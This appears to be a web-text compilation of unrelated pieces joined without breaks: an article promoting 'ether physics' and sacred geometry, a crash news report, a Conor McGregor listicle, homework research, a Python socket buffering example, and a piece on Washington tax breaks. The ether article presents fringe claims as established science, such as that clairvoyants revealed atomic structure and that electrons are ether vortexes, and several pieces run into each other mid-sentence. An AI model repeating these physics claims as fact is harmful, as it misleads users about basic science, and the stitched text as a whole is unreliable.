For hundreds of years brilliant physicists and philosophers have tried to represent our world in mathematical models of particle physics that state that our physical world is made of matter of which the smallest part is called the 'atom'. Atom is an ancient Greek word meaning undividable; it is supposedly the smallest part of matter that cannot be divided anymore! Quantum mechanics however noticed that particles in some cases behaved like waves and later introduced the wave-particle duality.
Some quantum scientists already suggested in the past that the quantum waves could be real waves after all, existing in the physical domain. They did not believe in particle wave duality. As long ago as 1937 Erwin Schrödinger wrote that, 'what we observe as material bodies and forces are nothing but shapes and variations in the structure of space itself.' Eventually even Einstein rejected the idea of discrete particles and believed that particles were in fact part of a continuous field.
A growing number of post quantum physicists are discovering what Einstein and Schrödinger already assumed; physics may have been on the wrong track all along, misled by the idea that the material world exists of separate hard particles! They are suggesting now that we may live in a wave-based universe. Matter is simply the focal point of a vibration in an energy sea called the ether.
The ether
In Greek antiquity, the Greek scientists and philosophers believed that nature only counted four elements; earth, water, fire and air. The atoms were believed to be the building blocks of these four elements of the universe. Aristotle added the fifth element ether and postulated that planets and stars were made of this ether. Greek philosopher Plato, 350 years B.C., described these five elements and added that matter is created from the five Platonic solids that he described in his book Timaeus. He equated the tetrahedron with the element fire, the cube with the earth, the icosahedron with water, the octahedron with air and the dodecahedron with the ether, the stuff of the planets and stars. We now know of course that there are far more elements in nature than the ones known in Greek antiquity. However, it is a well-known fact that the Platonic solids play a role in chemistry as the internal organization structures of molecules in many materials. For instance the Platonic solids show up in the organization of molecules of natural crystals.
Here we will present a new theory about matter that agrees with Plato that the atoms are constructed from the Platonic solids. Some scientists now believe that the ether is a subtle energy that flows through all material things like some liquid, creating the material world from it. The Platonic solids are believed to be the geometrical internal structures of the atom. That's the reason why sacred geometry is so important in this new ether theory.
In the 19th century the luminiferous ether was well accepted by science! It was the medium through which the electromagnetic wave was supposed to propagate. In those days physicists believed that matter and the ether were two separate things. The ether served as the carrier medium for radiant energies such as light and was believed to transmit force fields between material objects in the universe such as gravity. James Clerk Maxwell, the founder of electrodynamics and his contemporaries didn't have any doubt that the ether existed. However in 1887 Albert Michelson and Edward Morley conducted an experiment to prove the existence of the ether. At the time light was thought to be a compression wave that propagated as a longitudinal wave through the motionless and stationary ether, just like sound waves through the air. While the Earth itself is spinning, the Earth must have a relative motion with respect to the motionless ether. They reasoned that when the speed of light is measured on the surface of the Earth, it should give different results when measured clockwise or counter clockwise with respect to the rotation of the Earth around its axis. However the Michelson Morley experiment proved that the speed of light had the same constant value no matter in what direction the speed of light was measured. From this experiment it was concluded that the ether did not exist. Physics has abandoned the ether theory ever since. However today scientists believe that the results of the Michaelson-Morley experiment have been misinterpreted.
So now after a hundred years the ether is back in physics. In the new emerging physics, the Newtonian particles and quantum mechanical particle/wave duality is abandoned. In new ether physics there are only waves!
The ether is the medium of the electromagnetic waves and it is assumed that the ether is a non-material fluid-like medium, a subtle energy substance that permeates the entire universe. It is a well known fact that waves require a medium to wave in: without a medium, sorry there can be no waves. Sound requires the air. For water waves it is the water that waves. But for some unexplainable reason ever since the Michaelson-Morley experiment supposedly disproved the existence of the ether, physics accepted the fact that electromagnetic waves can travel through empty space without any medium at all. How absurd, if there is no medium, then what is waving? How is light to propagate as a wave phenomenon if there is nothing to propagate in? Physics accepted that light could travel through absolute nothingness only because the Michaelson-Morley experiment had failed to prove the existence of the ether.
An astonishing premise of the revived ether physics is that there is no dualism, no distinction between a material and immaterial thing; it's all energy since energy is all there is! Matter is not a fundamental property of the universe; it is the form not the substance that shapes matter. Now we finally can take Einstein's famous formula E=m x c², one step further and really start to understand what this formula implied! It is not that energy and matter can be interchanged; no, matter = energy, period!
In this sense matter is an illusion of solidness and separateness. Eastern spiritual traditions have always claimed that our world is Maya, illusionary. What they meant by this is that separateness does not exist; there is only the unity at the fundamental level of existence, the unity of Brahman. Now we may see Eastern wisdom corroborated by modern day science! This is how ether physics is best described: Our universe is multi dimensional and it is made of one substance and one substance only! This substance is called ether and it is a vibrating fluid-like energy that permeates the physical vacuum. Matter as we know it is created moment by moment as a standing wave, a vortex in the physical vacuum. It is the condensed center of these vortexes that creates the illusion of a separate particle. All matter in the universe is interconnected since the particle fields extend to the far corners of the universe.
Wave Structure of Matter
A precursor of ether physics is the Wave Structure of Matter theory by Milo Wolff. In 1986 Wolff formulated a theory that he called the'Standing Wave Structure of Matter'(abbreviated to WSM theory). Independently Geoff Haselhurst came to the same conclusion about a standing wave theory for matter and they are working together as of 1998.
The WSM theory is relatively simple. It proposes that matter is the focal point of a standing wave the result of two interfering waves. One is an inward wave moving towards the center and the other is an outward-bound wave moving away from the center. The waves are spherical waves in the fabric of space. The center of the two spherical waves is the 'point particle' center. As simple as the axiom of this theory is, the properties these standing waves can assume seem to be immense.
Whereas almost all physical laws both in Newtonian and quantum physics were empirically derived from experiments, Milo Wolf says he now has theory that a priori, from theoretical principles, allows the laws of both relativity and quantum physics to be determined!
If he is right the origin of the physical laws and the properties of charge, mass and gravity, for the first time can be understood. Mainstream physics could never really explain these; for one thing we still don't know what gravity really is; we have known the physical laws of gravity since Newton; however we don't know what's causing gravity!
String theory is trying to accomplish exactly what the WSM theory has done, to integrate quantum physics and Einstein's relativity. String theory is mainstream physics best shot and hope for a theory of everything (T.O.E.)
A wave structure of matter had already been proposed 130 years ago by William Clifford, he declared that, 'all matter is simply undulations in the fabric of space'. Unfortunately, his colleagues never took his work seriously.
In the WSM theory matter is just the interference pattern of in and out waves. The in-waves of a given particle are the out-waves of another particle. In this way all matter in the universe is sustained and mutually dependent. In and out waves tie all the matter in the universe together.
Sub-quantum kinetics
Paul La Violette has developed a general system ether theory called subquantum kinetics. He believes that science is wrong about many aspects in physics including the Big Bang theory that tells us that the universe came into existence from one big cosmic explosion. According to the Big Bang theory, the universe inflated from what is called a singularity, an infinitely compressed point in space, into a volume of several hundred million light-years in diameter in just 10־³² seconds!
This event required that all known laws in physics, including the laws of thermodynamics, Einstein's relativity laws (nothing can exceed the speed of light) were disabled for the happy occasion, the birth of all matter and energy from complete nothingness. Additional Information 2006 from SoulsOfDistortion Website After this briefest of moment of time, the holy laws of science were re-enacted and ever since the universe does not allow energy and matter to be created from the same nothingness any longer (first law of Thermodynamics). At its birth, the universe showed its highest degree of organization and physics dictates that this order eventually will decay into complete chaos again (second law of thermodynamics). Scientists call this the increase of entropy. Paul La Violette does not contradict these laws; on the contrary, he simply doesn't believe that these laws were disabled for just this split second during the Big Bang. In his book 'Genesis of the Cosmos' he mentions many more problems with the Big Bang theory such as the explanation for the observed red-shifts of stars that cosmologists use as proof that our universe has been expanding ever since the Big Bang. The red-shift of the stars is believed to be caused by the Doppler effect as stars move away from our point of reference. Cosmologists never took the alternative tired light explanation for these red-shifts seriously- that is, the fact that light travelling over billions of light years may be absorbed by intergalactic material resulting in a loss of energy and an increase of wavelength.
La Violette believes that the cosmology of the ancients is a better alternative that does not suffer from the Big Bang's singularity problems. According to many ancient cosmologies, the universe evolved over billions of years as a result of a continuous process of matter and energy creation from a supposedly fourth dimensional realm, the ether. This creation process has never ceased and still continues today according to La Violette. To sustain his claims, he explains that the universe at heart is not a closed but an open system and is able to receive energy and matter from a fourth dimension without contradicting the laws of thermodynamics. The ether is supposedly an unobservable metaphysical realm, a non-equilibrium transmutable medium that continuously fluctuates. When fluctuations reach a critical threshold they are able to spawn stable waveforms in our observable physical universe. It was only in 1973 that system theorists learned about chemical solutions that were able to create self-organising chemical reactions that spontaneously started to oscillate. These chemical reactions such as the Belousov-Zhabotinski reaction periodically spawned so-called chemical or reaction-diffusion waves. The cross chemical reactions involved oscillate between low and high concentrations of the chemical compounds that drive the reaction. Let's assume that the first reaction uses compound X to create compound Y, then the second reaction will be exactly the inverse of the first and use compound Y to create compound X again.
There is a constant diffusion of the compounds from areas of high to low concentrations, hence the reaction-diffusion wave. These chemical waves will spawn beautiful Mandala like wave patterns when put on a Petri dish. To understand how the chemical reaction actually starts to oscillate let's use the metaphor of the predator-prey system. Suppose we have a population of rabbits that has an abundant supply of lettuce. Since rabbits breed like hell, their population will grow fast. However in our little closed habitat there are also foxes that feed on the rabbits, limiting the growth of the rabbit population. Since the rabbit population grows fast, so does the fox population. However, since there is a feedback loop in our system, balance will be restored in our habitat; when the foxes eat too many rabbits, they will run into a food shortage, reducing the growth of the fox population and allowing the rabbits to survive. The fox-rabbit population will oscillate between two extremes, a minimum and maximum, a perfect example of a wave oscillation.
From these observations, Paul La Violette reasoned that the ether may likewise spawn wave patterns from two ether states, two different aetherons, which continuously mutate from one state into the other and visa versa. In normal cases, the ether maintains its equilibrium state due to the second law of thermodynamics, however under critical conditions these ether transmutations like the predator-prey waves may become self-organising and form stable wave patterns. These wave patterns will become observable in our physical universe as electromagnetic energy, light.
His theory has been tested in a simulator model called the Brusselator and uses two X and Y aetheron states to prove that under critical conditions, self-organising oscillations may spontaneously come into existence. The actual ether reaction used just a few more intermediate ether states but for the sake of simplicity aetherons X and Y are the only ones mentioned here.
The transmutation ether model of Paul La Violette brings to mind the transmutation of the Chinese Yin and Yang energies mentioned in the I Ching, the Book of Changes. The I Ching mentions creation as the result of cyclic mutual transmutations of Yin and Yang energies. The female Yin energy transforms into the male Yang energy and vice versa in an eternal process of physical manifestation.
Paul La Violette's sub-quantum kinetics perfectly describes how the ether realm spawns waves that we observe as light in our universe. Since this light forms a standing wave that is eternally replenished by the aetheron transmutations, this is what we finally observe as quantum particles of matter.
Sub quantum kinetics yields a better alternative for the required in and out waves of Milo Wolff's WSM theory. As we progress in our understanding of how matter is actually shaped from the ether, we will see in the next paragraphs that the vibrations created from the ether must be organized in vortex shapes in order to shape the atom.
Vortexes in the ether
David Thomson and Jim Bourassa both founded the Quantum AetherDynamics Institute and are independently developing an ether based model integrating, quantum mechanics, relativity theory and string theory. The model describes matter as a subatomic whirlpool, tornado or vortex in the ether. They call this vortex the Toroidal (A) Aether Unit (TAU). When combined in spherical configurations they form the nucleus and electron shells of the atom. Quantum AetherDynamics mentions that the ether has both mechanical and electromagnetic properties. The mechanical property is what gives matter its mass; it's the angular momentum of the whirling ether energy. Mass is simply the inertia created by the ether vortexes much like the inertia that is created by a spinning top.
The eternal spin of the ether vortexes that is to be maintained for the stability of all matter in the universe is called the mysterious Gforce or God Force. AetherDynamics defines it as an enormous force with no known cause. I quote from their website: 'The Gforce is a tremendous force that is beyond comparison to any other force in the universe. It may not be what physicists are hoping to find (and I believe this is why this model hasn't been proposed before), but the Gforce appears to be a primary force that gave rise to the entire universe. If one were to liken it to the Force in Star Wars, they wouldn't be far off. If one were to characterize this Gforce as God, or Supreme Being, or Great Architect of the Universe, they wouldn't be far off, either. Whatever this prime force is, it appears to be a living thing and the source of all things animate and inanimate.'
Cymatics
Sacred geometry plays an important role in the ether physics that we are presenting in this book. The reason is rather straightforward. When the universe is shaped from one substance and one substance only, then the only way to give the physical world a seeming separate appearance of individual material things is through form, since substance by itself cannot discriminate. Hence the geometry of the ether and how it is structured is the crux in creating the material world.
The relation between vibration and geometry is beautifully described by the work of Swiss medical doctor and natural scientist Hans Jenny (1904-1972) in a science called'Cymatics '.
The late Buckminster Fuller (1895 - 1983) however was the first to discover that a relation between musical frequencies (The Diatonic scale) and geometrical forms exists. He used a balloon submerged in blue dye and vibrated it with frequencies from the musical scale (the 7 white keys from the piano): as a result of wave interference, marvellous two dimensional arrangements appeared on its surface.
Dr. Hans Jenny carried on the work of Buckminster Fuller and tested these standing wave vibrations in spherical volumes of fluid. Much to his surprise all of the Platonic solids, named after the legendary philosopher Plato, showed up as geometrical patterns. What you see in the picture above is a star-tetrahedron; it is also on the cover of this book! If you examine the picture carefully you may have noticed the two equilateral triangles, one facing up and one facing down. Together they form a symbol that is known as the Jewish Star of David, but remember in 3D reality the two triangles are tetrahedrons, three sided pyramids.
The white curved and straight lines in the photograph are the places where the vibration is cancelled, these are the nodal points, the still places to which the colloid particles dissolved in the fluid take refuge when the fluid is vibrated. The geometrical patterns are the result of wave interference. When the outgoing waves from the center of the sphere meet the reflected waves from the surface of the sphere, standing waves are formed.
Plato explained in his book Timaeus that the Platonic solids are the basic forms that construct matter and that this knowledge came from the legendary Atlantis.
We now have proof that humanity knew about the Platonic solids even before Plato. In the Ashmolean Museum in Oxford they preserve all of the 5 Platonic solids and some additional semi-regular solids that were described by Pythagoras. Carved out of stone the Platonic solids are dated at least a thousand years before Plato! These stones were found in Britain and belonged to the Neolithic peoples, a culture that according to our current understanding did not have the mathematical ability to understand these forms - nonetheless they carved them out of stone!
Now isn't this surprising that a vibrated fluid can create forms such as these and that these forms have been described by Plato some 400 years BC?
The secret of 'Sacred geometry' is not about geometry per se, it's about vibrations that take on geometrical patterns!
Sacred geometry was preserved throughout history in Freemasonry circles since it was believed to be important knowledge revealing the secrets of our universe! Contemporary scientists now tell us that in fact all of creation is the offspring of ether vibrations just like the Eastern Hindu cosmology has always talked about the Ohm sound of Brahman as the vibration that creates the physical world.
Daniel Winter interpreted these Cymatics experiments, and both agree that the Platonic interference patterns also occur within the ether, and that it is these interference patterns that really shape the atom.
The Egyptians called matter frozen music and if indeed matter is the result of musical vibrations of the ether just like the Cymatics experiments demonstrate, we can now appreciate why.
Implosion physics
Daniel Winter presents a physics that is called 'implosion physics'. He concludes that the entire universe, the material world is created from one non-material substance, the ether. The ether is a kind of super conductive fluid that flows right through all physical objects. The ether vacuum is an extremely dense nonetheless frictionless medium. The best comparison for the ether being non-material in nature is the super-conductive state of helium. When helium is cooled down to temperatures below 2 degrees Kelvin it becomes a super-fluid, which means that objects can move through this fluid with no friction at all.
Daniel Winter now believes that vortexes, little eddies or tornados in the fluid-like ether are the basic building blocks of matter. Since the ether is some kind of a fluid, it follows the well-known physical laws of hydrodynamics.
Interestingly, in 1895 two clairvoyants by the name Charles Leadbeater and Annie Besant published an article in a magazine titled'Occult Chemistry'wherein they explained the internal structure of Hydrogen, Oxygen and Nitrogen. Using clairvoyance as the only instruments in their scrutiny, they revealed the internal structure of the above-mentioned elements. The clairvoyants had no scientific background whatsoever; however they pictured the following torus shapes as the basic building blocks of the atom: They called these torus-like flow forms the 'Anu' and mentioned that the atom is shaped from the ether using the Anu as a flow form. Daniel Winter supports the idea of these two clairvoyants and uses the torus shape from these observations along with the Platonic Solids to construct the atom.
According to Daniel Winter the ether creates vortexes, little tornados of whirling and spiralling energy in the ocean of ether, our universe. The vortexes in the ether are like the little eddies in a river. The vortex is nature's natural flow form for fluids. The same vortex flow form is created every time we pull the plug in our bathtub!
When two of these ether vortexes join their funnels they form a torus.
Now the torus is a unique flow form in hydrodynamics, it allows fluids to spiral inwards and outwards on the same surface of the torus. It is a very stable flow form.
If the universe is essentially created from one universal substance, the ether, it must be form that is used to create different and separate things out of this universal substance. The torus is nature's perfect flow form to create a seemingly separate entity in the formless ether that is stable enough to last.
The torus flow form is similar to the rings created by the smoke of a cigar. The cigar smoke whirls inwards on top of the smoke ring and comes out again on the bottom of the ring. It is constantly folding inwards to come around on the other side flowing outwards. The torus is often compared with the shape of a doughnut or an apple. It's a spherical form folded inwards at the poles to form a small hole in the middle.
The individual ether torus doughnuts can be nested inside each other. Nesting torus doughnuts requires that the vortex cones of the torus are aligned with the faces of the Platonic solids.
The flat bottom of a vortex cone should touch the face of a Platonic solid.
As an example we show the cube that contains 3 vortex pairs or 3 torus doughnuts aligned perpendicular to each other in a cube and 5 nested torus doughnuts in a dodecahedron.
Now we may remember from the Cube of Metatron that the Platonic solids themselves can be nested, they fit into each other. Let's take the cube, when lines are drawn to interconnect all centres on the 6 faces of the cube, they form the octahedron. The octahedron is fully circumscribed by the initial cube. The same process can be repeated now with the octahedron by interconnecting the centres of the faces of the octahedron. The result is a cube now circumscribed by the octahedron. This process can go on and on forever, creating smaller and smaller Platonic solids perfectly nested into each other, it creates a fractal, a repetitive geometric pattern.
The nesting of the Platonic solids is not restricted to the cube and octahedron. All Platonic solids can be nested into each other. It is the nesting of the Platonic solids that creates the electron shells of the atom. Similarly however at a much smaller scale the nucleus of the atom is formed.
The electrons in the electron shells correspond with the vortexes that are nested in Platonic symmetries. According to Daniel Winter, physics has mistaken these vortex waveforms for electron particles. Within the atom, the electrons orbit the nucleus at a fixed distance from the nucleus. The sphere that describes the orbital plane of the electron is called the electron shell. There are different types of shells in the make up of the atom that were given the names s, p, d and f shells and they contain respectively 2, 6, 10 and 14 electrons maximum.
Each vortex pair in the doughnut corresponds with 2 electrons and when the doughnuts are organized inside a Platonic Solid we get the equivalent of an electron shell. Here's the correspondence: 1 vortex pair (1 torus) corresponds with the 2 electrons of the s shell.
3 nested vortex pairs in a cube correspond with the 6 electrons of the p shell.
5 nested vortex pairs in a dodeca
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“She had injuries consistent with an auto collision,” he added. The woman was not known to the residents of the home, located in a quiet, upscale neighbourhood, more than 1,000 metres from the crash scene. “I just went out of the house to put out the garbage and she must have come in,” said an elderly female occupant who was shaken by the incident. “As I was coming back around the corner, my neighbour yelled out to me ‘Doris, someone went in your house.’ I come in and sure enough, there’s a woman in the kitchen, leaning over the gas stove, with all the burners on trying to ignite herself.” She said the woman appeared to be in her late twenties.
Hours after the incident, collision reconstruction units were on the scene trying to piece together events which left vehicles spread across the sidewalks on both sides of Bayview Ave. Police said the man and woman who were sent to hospital were both drivers involved in the crash, which occurred at Bayview and Elmwood Aves. around 6 p.m.
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The other three drivers were not seriously hurt, but several others involved in the accident suffered minor injuries. Motorists are advised to avoid the area while police investigate. With files from Molly HayesGet the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Conor McGregor has risen quickly from the streets of Dublin to become a sporting superstar.
But he has a special somebody to thank for keeping him going through the hard times - girlfriend Dee Devlin.
The pair have been together for more than nine years and remain besotted despite a complete change in their lives following McGregor's success.
Last year they became parents for the first time when Dee gave birth to Conor Jr and Dee is now expecting the couple's second child.
McGregor, who swapped the Octagon for the boxing ring in order to face Floyd Mayweather, is now back in the UFC.
But he has yet to get down on one knee and propose to Dee, even though the couple seem to be as solid as ever, despite the often turbulent nature of McGregor's life outside the cage.
Here, we provide everything you need to know about one of the most important members of his back-room team...
(Image: Getty)
(Image: Dee Devlin/Instagram)
1. Dee hails from Walkinstown in Dublin
Devlin originally hails from Walkinstown, Co Dublin and like McGregor, is incredibly proud to be Irish.
After one of his many victories in 2015, Devlin posted on Twitter: "The Irish are truly the best supporters in the world!"
2. She has stuck by McGregor through everything
McGregor and the 30-year-old Devlin have been together since long before his UFC stardom.
The fighter admitted he is incredibly thankful to his longtime love for sticking by him through everything.
He said: "My girlfriend worked very hard throughout the years and stuck by me when I had essentially absolutely nothing.
"I only had a dream that I was telling her.
"For me to be able to take her out of work, give her everything she's ever wanted and to travel the world with her fills me with pride. It keeps me going."
(Image: Instagram)
3. The couple have been together for more than nine years
The loved-up Dublin couple have been together through thick and thin, going out for almost a decade.
Conor has said: "[Dee] will tell you exact dates.
"We've been together a long time. She's been through it all with me."
4. She's his number one fan
After McGregor's incredible win against Chad Mendes in 2015, the Dubliner posted a tribute to her boyfriend on Instagram.
She said: "To say that I am proud is a MAJOR understatement!
"I am so on cloud nine right now I can't even put it into words!
"Thank you to every single person who made the trip out to Vegas to support Conor last night! The place was absolutely buzzin!
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"And to all of the fans at home who also had a big part to play in making this event so special.
"Hours upon hours, years upon years of hard work and complete dedication to his craft accumulated last night.
"I am so grateful right now it's overwhelming. We did it babe!! I love you more than anything."
5. The pair like to celebrate in style
McGregor has previously spoken of how he loves to spoil his partner and last year, the Walkinstown native shared a stunning pic with her Twitter followers of another expensive gift - a £20,000 Cartier watch.
Posting the gorgeous Tortue watch online, Dee said: "OMG".
And following McGregor's win against Mendes, Devlin shared a snap with her Instagram followers of what the couple splurged on to celebrate.
And McGregor celebrated his other half's birthday in style in Las Vegas.
The Notorious and his supportive girlfriend hit the tiles at Las Vegas club Marquee and in a video posted to Sqor by the Irish MMA superstar, a huge cupcake with a sparkler and bottles of champagne are brought to the couple's area by club hostesses.
6. Devlin always knew The Notorious would be a success
When asked about what she thought about McGregor's success, Dee said it was only a matter of time before her partner reached the next level.
She added: "He's always been super confident, we always knew this was going to happen - it was nearly like we were predicting the future.
"It's weird for me to say but we just always knew he was going to get to this level and every few months it just keeps going and going and going and the sky is the limit."
7. The loved-up pair work together
To support Conor on the road, Dee quit her job to be able to travel more.
He hired her on as an official member of his team, where she currently manages his finances.
On his girlfriend's new job, McGregor said: "She does not work anymore, I hired her to the business. She works for me now and collects the cheques."
She also helps the 29-year-old fighter train.
Devlin posted a picture on Twitter of the star training in Vegas.
She captioned the photo: "1am in Vegas and The Notorious is climbing ropes and pushing prowlers in a carpark!"
8. McGregor says he owes her his success
The UFC lightweight said his career would likely have turned out very differently if it wasn't for Devlin.
The fighter gushed: "My girlfriend has been there since the start. She has helped me throughout this career
"If It wasn't for her, I probably wouldn't be where I am today."
(Image: Getty)
In 2013, McGregor said that he 'one hundred per cent' agrees that behind every great man is a greater woman.
Speaking to VIP Magazine, he said: "Everyday since I started in this game, she’s supported me.
"She’d drive me to the gym, and she’d listen to all my dreams. I wouldn't be doing this if it wasn’t for her.
"I’m doing all this for her."
9. Dee still gets nervous watching him fight
Dee is usually found at cage-side supporting her fighter boyfriend.
(Image: Getty)
Speaking to Underground MMA, she admitted: "I find I'm more nervous now - the first time I went to see Conor fight there was 50 people in a room, and I thought 'There's no way you can be more nervous than this' but each time it's just getting that more and more nerve-wracking.
"Especially watching someone you care about getting in the ring - it definitely gets me in the gut I have to say."CHILDREN are being lumbered with hours of homework every week - but the extra slog doesn't do them any good.
Research reveals primary school homework offers no real benefit - and only limited results in junior high school.
Only senior students in Years 11 and 12 benefit from after-school work, associate professor Richard Walker said.
"What the research shows is that, in countries where they spend more time on homework, the achievement results are lower," Dr Walker, from Sydney University's Education Faculty, said.
"The amount of homework is a really critical issue for kids. If they are overloaded they are not going to be happy and not going to enjoy it. There are other things kids want to do that are very valuable things for them to be doing.
"I don't think anyone except senior high school students should be doing a couple of hours of homework.
"At the moment homework (is often) an add-on because parents want it."
NSW public schools each set their own homework policy after consultation with teachers and parents.
Teachers are advised to keep homework levels low in primary school but are permitted to increase the study load by Year 7. Data from the Australian Institute of Family Studies (AIFS) found 95 per cent of 10 and 11-year-old students are given homework.
Dr Ben Edwards, manager of the AIFS's study of 10,000 children, said a small portion of children did more than seven hours homework a week but that could be attributed to extracurricular studies such as music classes.
While the majority of 10 and 11-year-olds - 59 per cent - do less than two hours of homework per week, 22 per cent do three or four hours a week. Five per cent do seven or more hours a week.
It's not only kids who get tied down with homework - parents are also heavily involved. Dr Edwards said almost half of mums and dads - 41 per cent - helped out three or four days a week, with 15 per cent also chipping in on five or more days.
"A little bit of homework is probably OK at all ages, if part of the reason is to help kids become self-directed learners," Dr Walker said.
"But what the research shows is that only happens when upper primary and middle school students are given some assistance.
"If we (ask) if homework benefits outcomes, then it is pretty clear it does not at primary school and has pretty limited benefits in junior high school and some benefits in high school from Years 11-12."
Originally published as The real truth on homeworkSuppose you were doing some sockets programming and had a strange bug - the code seemed to be stuck. Imagine something like this:
>>> s = socket. socket () >>> s. connect (( 'google.com', 80 )) >>> fh = s. makefile () >>> fh. write ( 'GET / HTTP/1.0 \r
\r
' ) >>> fh. readline () # never returns
The problem is that the fileobject does buffering by default. The write call doesn't actually send anything unless we add fh.flush() around or change the buffering to be line-based ( makefile(bufsize=1) ) or completely disable it ( makefile(bufsize=0) ). Because HTTP is line-based protocol line buffering is best, example:
>>> s = socket. socket () >>> s. connect (( 'google.com', 80 )) >>> fh = s. makefile ( bufsize = 1 ) >>> fh. write ( 'GET / HTTP/1.0 \r
\r
' ) >>> fh. readline () 'HTTP/1.0 302 Found\r
'
I don't like this non-linear learning curve and there are other situation where you don't have documentation around to figure out why stuff doesn't work. Sometimes, there's too much code to look at and you're left with a stuck server (or client) application.Washington State Is Flying Blind in a Storm of Corporate Tax Breaks We Often Don't Know Who Gets Them, Why They Were Created, and What We Get in Return. Why Is Olympia Keeping This Secret?
James Yamasaki
Last year, the legislature rushed forward like a plane with its throttle wide open to approve a tax incentive package for Boeing. The cost to taxpayers: $8.7 billion through 2040. With the next legislative session beginning in January, the question now is: At what speed will lawmakers address the systemic lack of transparency and accountability in Washington's tax incentive programs?
There are more than 600 different tax breaks in Washington that reduce or eliminate taxes on sales, property, and gross receipts for several thousand companies. In 2011, the total amount this state was giving away through all its various tax loopholes was estimated at $6.5 billion a year—an amount that's almost certainly grown since. At least one of those tax breaks could be viewed as populist: the loophole that keeps you from paying any tax on food. But on whole, it's a small number of big, highly profitable corporations in aerospace and high tech that are claiming the bulk of Washington's most lucrative tax breaks.
The public has subsidized companies like Microsoft since 1996, giving tech firms $9.3 billion over the last 18 years, according to a Department of Revenue study published last year. Aerospace firms got their first big tax breaks in 2003, and will benefit from probably $498 million in subsidies over the next two years alone.
How much are these corporations actually paying in taxes after claiming their share of subsidies? Only a few state officials know, and they are legally barred from telling the public, or even their colleagues in government. Blind as to the actual levels of subsidies, and with weak employment data and other metrics collected from beneficiaries of these tax breaks, it's impossible to tell if they're fulfilling any economic purpose—like, say, actually creating jobs and spurring growth. Put simply, Washington is flying blind, and lawmakers may be wasting taxpayer money by enriching already profitable corporations. But no one really knows for sure. The information that could conclusively tell us is cloaked as a trade secret, or not collected at all.
Representative Reuven Carlyle has made it his "mission" as chair of the House Finance Committee in Olympia to fix this mess. The Democrat from Seattle's 36th District wants to "aggressively raise the level of rigor for our tax decisions, to bring it up to the same level we expect of our spending decisions."
Until recently, tax breaks were simply rubber-stamped without any attempt to gather data that could be used to determine if the incentives were achieving economic goals. "We've made a lot of progress in transparency, in opening up the books and paying attention to the tax side of the ledger to see if there's been a return on investment for taxpayers," Carlyle continued. "Too many corporate interests have talked the talk regarding the government's needing to get its house in order, to spend money carefully, while at the same time these corporations have been the primary employer of the lobbyists that are pleading for preferential tax treatment."
"You don't get it both ways," he went on. "You can't demand rigor on the budget side, and require an independent 30-page analysis of a $2 million program to send foster youth to college, and then resist a serious analytical review of a tax preference worth hundreds of millions."
In this spirit, last year the legislature passed a bill requiring that every new tax preference include a statement of legislative intent. Tax breaks must also include an expiration date, otherwise they sunset in 10 years. Companies claiming tax preferences also have to report "clear, relevant, and ascertainable metrics and data."
Last January, Carlyle and six colleagues went further, introducing another bill that would have required any publicly traded corporation claiming a state tax preference to report their total tax contribution to the state. This would have helped shed a little light on already-existing tax breaks, but corporate lobbyists balked, and the transparency effort died in the Republican-controlled senate.
Carlyle said Washingtonians like to think their state is open and transparent, "but the dark and ugly secret is that we're no better than anyone else when it comes to tax transparency."
Slowly, with pushes from Carlyle and others, things are changing. But not much.
"We are making modest but significant steps in the right direction on the broader transparency and accountability issues with respect to these tax breaks," said Andy Nicholas of the Washington State Budget and Policy Center.
As an example, Nicholas cites the ongoing audits of specific tax incentives by a mouthful of an organization known as the Citizen Commission for Performance Measurement of Tax Preferences. It was created by the legislature in 2006. Unfortunately, the audit report process has its own limitations, said Nicholas. Many existing tax breaks have no language describing their intended purpose, or metrics to judge the performance of companies benefitting. Therefore, auditors can't say whether or not they're working, or even why they were put there in the first place.
The audit reports also withhold information—including the names of many companies claiming tax preference subsidies, and the amounts of money being claimed.
"There's certainly not enough public data out there, but there's not even enough closely held government data," said Nicholas, referring to the kind of confidential information that Carlyle and a few other officials have access to.
Thomas Cafcas of Good Jobs First said Washington's new transparency requirements will help the public and lawmakers understand the true cost of tax incentives, but that the state is still failing to hold corporations accountable for the tax subsidies they claim. The accountability situation is so bad that Washington ranks behind states like Texas and South Carolina, according to a report on state subsidies and accountability measures written by Cafcas and his colleagues.
"This is especially true in terms of high-tech and aerospace companies—there's no teeth to these tax incentive agreements," said Cafcas. "In the legislation for aerospace tax preferences, the only requirement is to open a facility. There's nothing tied to jobs or wages, and what happens if the recipients of these tax breaks fail to live up to their end of the bargain?"
Boeing and its $8.7 billion tax break are a bitter case in point. "A lot of people are upset about what's going on with Boeing," said Nicholas. "They started sending out pink slips before the ink was even dry on the 2013 incentives package."
In December 2013, just a few weeks after Governor Inslee and the legislature convened a special session to get Boeing that $8.7 billion in tax breaks, Boeing eliminated 1,200 jobs in Washington. Then in April of 2014, the company announced it was moving 1,000 engineering jobs to California. Most recently, in September, Boeing exported another 2,000 jobs out of state. Boeing has erased an estimated 6,300 jobs in Puget Sound since the spring of 2013, according to the Seattle Times.
Cafcas said the legislature should only grant tax incentives that are performance-based. "Performance-based means that you must do X in order to receive Y," he explained. In the case of Boeing, X would be the retention or creation of specific numbers of jobs in Washington State that pay certain wage levels, or similar performance measures. "For the program not to be structured that way is really out of the norm," he said. "It's not what best practices are in the field of economic development."
But all of this assumes that corporate tax breaks actually create jobs and spur growth. "I've not seen a case with robust data where it was convincing," said Stephan Goetz, an economist at Pennsylvania State University who studies state economic development. "A business got a tax break, they hired 10 more people, but did they do it because there was a tax break, or did they hire more people because the economy as a whole was improving? There are instances where tax incentives work, and people can hang their hats on that, but on average it doesn't work."
Carlyle, who has seen more Washington tax incentive data than probably anyone, said he hopes greater transparency will fuel a public debate about which incentives should be scrapped, and which should be modified, and how companies can be held accountable for shipping jobs out of state.
"If a tax preference proves a strong return on investment for the public, then by all means that's a legitimate policy," said Carlyle. "But if it can't survive even a middle-school level of scrutiny, then we have to wake up and acknowledge it's not working, and instead of doubling tuition and shutting down group foster homes, we should ask every company that's been carved out of paying taxes to join us in paying its fair share."The New Republic wrote an expose on Media Matters for America Monday that included a shocking– simply shocking– revelation: the David Brock-run organization may have been biased in Hillary Clinton‘s favor.
